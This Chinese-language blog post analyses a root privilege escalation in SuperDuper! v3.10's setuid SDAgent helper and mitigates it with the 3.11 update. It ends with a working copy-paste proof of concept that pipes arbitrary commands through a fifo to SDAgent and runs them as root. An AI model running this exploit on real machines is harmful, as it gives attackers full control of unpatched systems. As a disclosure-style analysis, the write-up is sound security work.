来自开发者博客：
当 SuperDuper 中的锁被解锁以允许无需输入管理员密码即可执行时，第三方程序可能会利用我们的授权来运行除备份之外的其他具有管理员权限的操作。
CVE 描述：
Shirt Pocket SuperDuper! v3.10 的 SDAgent 组件中存在不正确的访问控制，由于不当使用 setuid 二进制文件，允许攻击者将权限提升至 root。
本文作者并非此漏洞的发现者，SuperDuper 开发者将其标识为“匿名安全研究员”。我不声称发现此漏洞的功劳，只是出于兴趣对其进行了技术分析。
CVSS 3.1 评分：8.1：高 (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H)
要避免此漏洞，请删除 SuperDuper! 应用程序，或应用 3.11 更新。警告：您必须直接从开发者网站下载更新，以避免 CVE-2025-61228 漏洞。
此漏洞利用分析和概念验证仅供教育目的。使用风险自负。
SuperDuper! 应用程序的 SDAgent 组件是一个 setuid 二进制文件。由于设计/实现不佳，SDAgent 仅用于执行另一个应用程序请求的 shell 命令，并且 SDAgent 似乎并未对请求应用程序进行任何验证，也未对可请求的 shell 命令类型实施任何防护。因此，攻击者可以使受影响版本的 SDAgent 工具以 root 权限运行任何 shell 命令。开发者的修复仅解决了 SDAgent 未能验证请求者的问题，并未解决“傀儡”辅助工具的设计问题，使得该代理可能易受未来攻击。
开发者对该问题的描述含糊不清，但“When the lock in SuperDuper is unlocked”这一评论让我很快找到了正确方向。从一个较旧（仍存在漏洞）的 SuperDuper 版本开始，我点击了那个锁图标并进行了身份验证。在活动监视器中，我注意到出现了一个与 SuperDuper 相关的新进程——SDAgent。我在 SuperDuper 捆绑包文件中找到了该组件，并在终端中查看了其属性。在切换锁的开关后，我注意到每当锁解锁时，SDAgent 文件就是一个 setuid 二进制文件。考虑到该属性以及文件名，我得出结论，这一定是一个“特权辅助工具”，尽管它对于此目的来说似乎有点小。
Setuid 是一种非常古老的权限提升方式，通常要么将所有“需要 root”的功能构建到“助手”工具中，并让它执行其任务，要么开发一种通信路径，允许客户端应用程序向助手工具发出特定请求。但鉴于 SDAgent 文件非常小（仅 137KB），它似乎不太可能包含该应用程序声称要执行的所有需要 root 的代码。我的好奇心被激起，我对 SDAgent 运行了“strings”工具，以了解它的功能。结果证明这非常具有启发性。几乎没有输出（与通常对应用程序二进制文件的预期相比），并且输出基本上表明 SDAgent 只有一个功能：执行请求者提供的任何 shell 脚本，例如：
% strings /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent
...
/bin/bash
bash
SDAgent could not fork process
****DONE****
创建一个可以运行任何命令的辅助工具是糟糕的设计；“不要成为傀儡”是制作辅助工具时应遵循的重要规则。
我假设 SuperDuper 必须打开 SDAgent，建立通信管道，然后向 SDAgent 发送 shell 脚本。快速查看 SuperDuper 应用程序捆绑包证实了我的想法。这个应用程序似乎通过 shell 脚本管理其所有复制活动。
我尝试了一些简单的方法将命令通过管道传递给代理：
printf "whoami" | /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent
zsh: done printf "whoami" |
zsh: segmentation fault /Applications/SuperDuper!.app/Contents/MacOS/SDAgent
SDAgent 崩溃了，看来没那么简单！我没有气馁，开始根据 setuid 助手应用程序的典型工作方式做出一些猜测。在 shell 工具之间，通常需要为 stdin、stdout 和 stderr 创建一些管道，然后 fork 并 exec。子进程会继承每个管道的副本，因此双方会自动建立通信管道。对于链接了更高级别框架的应用程序，fork() 不可用。相反，必须开发某种方式向子应用程序传达你的通信意图。strings 输出提供了一个线索：
strings /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent
...
STDIN_PIPE_READ_FD
%i %i %i
"STDIN_PIPE_READ_FD" – 开发者对这里发生的事情非常透明。我们可以通过 otool 获得关于这个字符串的更多上下文：
otool -tV /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent
/Applications/SuperDuper!.app/Contents/MacOS/SDAgent:
...
00000001000011a8 leaq 0xa56(%rip), %rdi ## literal pool for: "STDIN_PIPE_READ_FD"
00000001000011af callq 0x1000017f6 ## symbol stub for: _getenv
好的，所以这可能是一个环境变量。让我们再次尝试简单的管道攻击，假设 SDAgent 会简单地从其 stdin 文件描述符（0）接收我的命令：
export STDIN_PIPE_READ_FD=0
printf "whoami" | /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent
1557%
重复几次后，很明显“1557”是生成的 SDAgent 的进程 ID。这没什么帮助（也不是我期望的“root”输出），但这次没有崩溃，这令人鼓舞。我再次尝试了会进行文件系统更改的命令：
printf "touch /Library/test" | /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent
1593%
不，文件没有创建；是时候卷起袖子了。我禁用了 SIP，启动 dtruss 并要求 SuperDuper 运行一个任务。在我通过身份验证开始任务后，我看到 dtruss（附加到 SDAgent 进程）的以下输出：
read(0x0, "21 23 24 \0", 0x800) = 9 0
dup2(0x15, 0x1, 0x0) = 1 0
dup2(0x17, 0x2, 0x0) = 2 0
write(0x1, "1615\0", 0x4) = 4 0
SDAgent 最初从文件描述符 0（stdin）读取输入（可能是 STDIN_PIPE_READ_FD 指示的任何 FD）。这里我们看到它读取了三个数字。基于这个序列，我猜测 SuperDuper 打开了三个管道，并将这三个管道的写、写和读端发送给了 SDAgent。然后 SDAgent 将前两个分别复制到 stdout 和 stderr（我无法确定第三个的用途）。最后，它将“1615”（当前的 SDAgent pid）写入 stdout（这样 SuperDuper 就知道了 SDAgent 的 pid），然后监听 fd 0 上的其他命令。经过一些试验和错误后，很明显我们需要向 SDAgent 发送一些文件描述符，然后它才会执行我们的命令。stdout（1）和 stderr（2）在 shell 环境中已经打开并可写，所以我尝试了它们：
printf "1 2 \0whoami\0" | /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent
~ % 1602
再次，没有崩溃，但像一个急切的青少年一样，SDAgent 过早结束，我没有得到期望的“root”结果。dtruss 显示它读取了文件描述符，但忽略了其余部分。鉴于空字符串终止符，这并不奇怪，我们可能需要在字符串之间留出间隔，以便 SDAgent 将它们视为单独的请求。所以我们需要将 SDAgent 连接到一个我们可以多次写入的管道。
此时，我可以编写一个简单的 C 应用程序，打开一些管道，fork 出 SDAgent，将文件描述符写入 stdin 管道，然后短暂暂停后将其参数（即攻击载荷）发送到管道以执行。当我开始编写这些代码时，我意识到我可能可以通过一对简单的 shell 命令来实现那 50 多行编译代码的所有功能。我真正需要的是一种建立并保持与 SDAgent 进程的管道的方法。“mkfifo”将满足此目的：fifo 作为文件存在于磁盘上，但你可以将管道连接到它们上。在一侧，我们需要一些从 fifo 读取数据并将其重复给管道另一侧的 SDAgent 的东西。我需要首先将文件描述符写入管道，但我还需要保持管道打开以便发送载荷命令。如果任一端的进程退出，管道就会关闭。tail 实用程序和后台操作符至关重要：
export STDIN_PIPE_READ_FD=0
mkfifo /tmp/puppet
tail -f /tmp/puppet | /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent &
[1] 1964 1965
这生成了两个后台作业：tail（1964）和 SDAgent（1965）。两个进程都在后台保持运行，因此它们之间的管道持续存在。tail 正在等待数据添加到 fifo，然后将该数据通过管道传递给 SDAgent。非常简单。接下来，发送文件描述符：
printf "1 2 \0" > /tmp/puppet
dtruss 显示 SDAgent 读取了文件描述符，并且 SDAgent 仍在运行，等待更多输入。现在是关键时刻：
printf 'whoami\0' > /tmp/puppet
~ % root
****DONE****
成功了！再次尝试：
printf 'touch /Library/test; ls /Library/test\0' > /tmp/puppet
~ % /Library/test
****DONE****
就是这样！当我将所有内容整合到一个可复制粘贴的 shell 命令块中时，我仍然发现 SDAgent 在处理文件描述符时有点慢。短暂的延迟后，我们就成功了：
export STDIN_PIPE_READ_FD=0
mkfifo /tmp/puppet
tail -f /tmp/puppet | /Applications/SuperDuper\!.app/Contents/MacOS/SDAgent &
printf "1 2 \0" > /tmp/puppet
sleep 1
printf 'whoami\0' > /tmp/puppet
就 root 权限利用而言，这个漏洞出人意料地容易被发现，并且攻击者很容易利用它。